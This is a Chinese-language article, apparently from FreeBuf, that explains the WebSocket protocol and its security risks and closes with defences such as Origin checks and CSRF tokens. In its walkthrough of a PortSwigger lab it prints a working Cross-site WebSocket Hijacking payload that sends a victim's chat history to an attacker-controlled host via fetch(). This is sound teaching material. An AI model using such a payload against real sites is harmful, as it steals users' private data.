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WebSocket安全性分析,你看懂了吗? 世界热门

来源​​​FreeBuf.COM   2023-06-27 10:52:23

websocket简介

WebSocket 是HTML5一种新的网络传输协议,位于 OSI 模型的应用层,可在单个TCP连接上进行全双工通信。WebSocket 建议于 TCP 协议之上,与 HTTP 协议有良好的兼容性。协议标识符是ws;如果加密,则为wss。

WebSocket与HTTP的区别

HTTP协议时请求-响应式的,一般是一个请求建立一次握手,在HTTP1.1版本开始,TCP连接可别复用。

HTTP协议只能由客户端发送信息到服务端,服务端做出响应。


【资料图】

WebSocket通信是双向的,既可以由客户端发送信息,到服务端。也可以有服务端发送信息到客户端。

WebSocket通信建立过程

websocket通常是由客户端JavaScript脚本创建

var ws = new WebSocket("wss://normal-website.com/chat");

为了建立连接,会通过HTTP协议发送一个请求,告诉服务器接下来要使用websocket进行通信,如果服务器同意请求,接下来就会进行三次握手。

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WebSocket 握手消息的几个特性值得注意:

请求和响应中 的Connection和Upgrade标头表明这是一次 WebSocket 握手。

Sec-WebSocket-Version请求头指定WebSocket协议版本的客户端希望使用。通常是13.

Sec-WebSocket-Key请求报头包含Base64编码的随机值,这应该在每个握手请求是随机产生的。并不是用于身份认证的。

Sec-WebSocket-Accept响应报头包含在提交的值的散列Sec-WebSocket-Key请求头,具有在协议规范中定义的特定的字符串串联。这样做是为了防止错误配置的服务器或缓存代理导致误导性响应。

三次握手以后表示建立了客户端与服务端建立websocket连接,可以通过websocket协议进行通信。

ws.send("hello websocket");

由于TCP协议是复用的,所以可以通过一次连接,发送多个信息。

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原则上,WebSocket 消息可以包含任何内容或数据格式。在现代应用程序中,通常使用 JSON 在 WebSocket 消息中发送结构化数据。

WebSocket使用场景

基于WebSocket全双工、延迟的特性,应用场景比较广泛。

聊天弹幕协同编辑股票报价实施更新位置更新直播实况段落的首行要WebSocket安全性分析

websocket仅仅是web程序中的一种通信协议,并不会解决web应用中存在的安全问题。因此在HTTP协议中出现的安全问题在websocket中都可能出现。

目前对于HTTP协议的漏洞已经很少了,可以去看看websocket协议的,说不定会有意想不到的发现。

1.常规漏洞

WebSocket中,用户输入可控的请求数据,数据被服务端进行处理,如果没有进行有限的校验,可能出现常见的Web漏洞,如XSS、SQL Inject、RCE等。

如下图,正常发送会发现进行编码

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可以直接抓包重放,改变值,成功利用。实际上跟http协议没有什么区别。

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2.权限

认证

websocket协议没有规定在服务器在握手阶段应该如何认证客户端身份。服务器可以采用任何 HTTP 服务器的客户端身份认证机制,如 cookie认证,HTTP 基础认证,TLS 身份认证等。

因此,认证实现方面的安全问题与基于HTTP的Web认证并无区别。

如CVE-2015-0201,Spring框架的Java SockJS客户端生成可预测的会话ID,攻击者可利用该漏洞向其他会话发送消息

授权

WebSocket 协议依然没有指定任何授权方式,因此关于权限的相关策略依然得依赖开发者在服务端实现,这就说明通过websocket协议与传统的http协议面临相同的安全风险,如垂直越权和水平越权。

3.基于webSocket的CSRF漏洞(跨域请求/CSWSH)

该漏洞全称叫做Cross-site WebSocket Hijacking,跨站点WebSocket劫持漏洞。当WebSocket握手请求仅依靠HTTP cookie进行会话处理并且不包含任何CSRF token或其他不可预测的值时,就会出现这种漏洞。

判断websocket中是否存在跨域问题

检查应用程序执行的WebSocket握手过程是否针对CSRF进行了保护。除了在cookie中该消息不依赖其它的值进行会话处理。如下面的请求仅仅依靠session token来进行会话处理,那么就会存在这种漏洞。

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通过portSwigger的靶场进行复现

Lab: Cross-site WebSocket hijacking

在live chat中首先验证websocket是否存在csrf。可以看到仅仅依靠cookie来进行会话处理,说明存在漏洞

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在确认存在这个漏洞以后,我们就要去编写我们的payload,首先我们发现在建立websocket连接以后,发送READY字符串,服务端就会把历史聊天记录返回,那么我们就通过这种方式去利用。

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首先通过new websocket与服务端建立连接,然后通过ws.send("READY")像服务端发送READY。当服务端收到READY字符串时,就会把历史的聊天记录返回回来。这个js收到历史记录以后就可以访问burp的collaborator并带着敏感数据。

payload如下:

<script>// Create WebSocket connection.var ws = new WebSocket("wss://web-security-academy.net/chat");// Connection openedws.addEventListener("open", function (event) {ws.send("READY");});// Listen for messagesws.onmessage = function(event) {fetch("https://you-site.net/?log"+event.data, {mode: "no-cors"})};</script>

在portSwigger的exploit server中设置自己的payload

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设置好payload,然后让登录的浏览器去访问。在这个靶场也就是点击Deliver exploit to victim

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然后再burp上就可以看到信息

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这种漏洞的一种修复方式就是在服务端验证Origin头,如果客户端发来的 Origin 信息来自不同域,服务器端可以拒绝该请求。但是仅仅检查 Origin 仍然是不够安全的,恶意网页可以伪造Origin头信息,绕过服务端对Origin头的检查,更完善的解决方案可以借鉴CSRF的解决方案-令牌机制。

websocket安全问题如何预防正确验证输入输出的数据,跟http协议一样使用CSRF Token、请求头令牌等方案保护WebSocket握手流程,防止WebSocket握手流程被CSRF攻击所利用。使用wss://协议,(基于TLS的Websockets)在服务器进行授权,防止越权的产生。参考链接

https://www.freebuf.com/articles/web/336291.html

https://security.tencent.com/index.php/blog/msg/119

https://freebuf.com/vuls/328279.html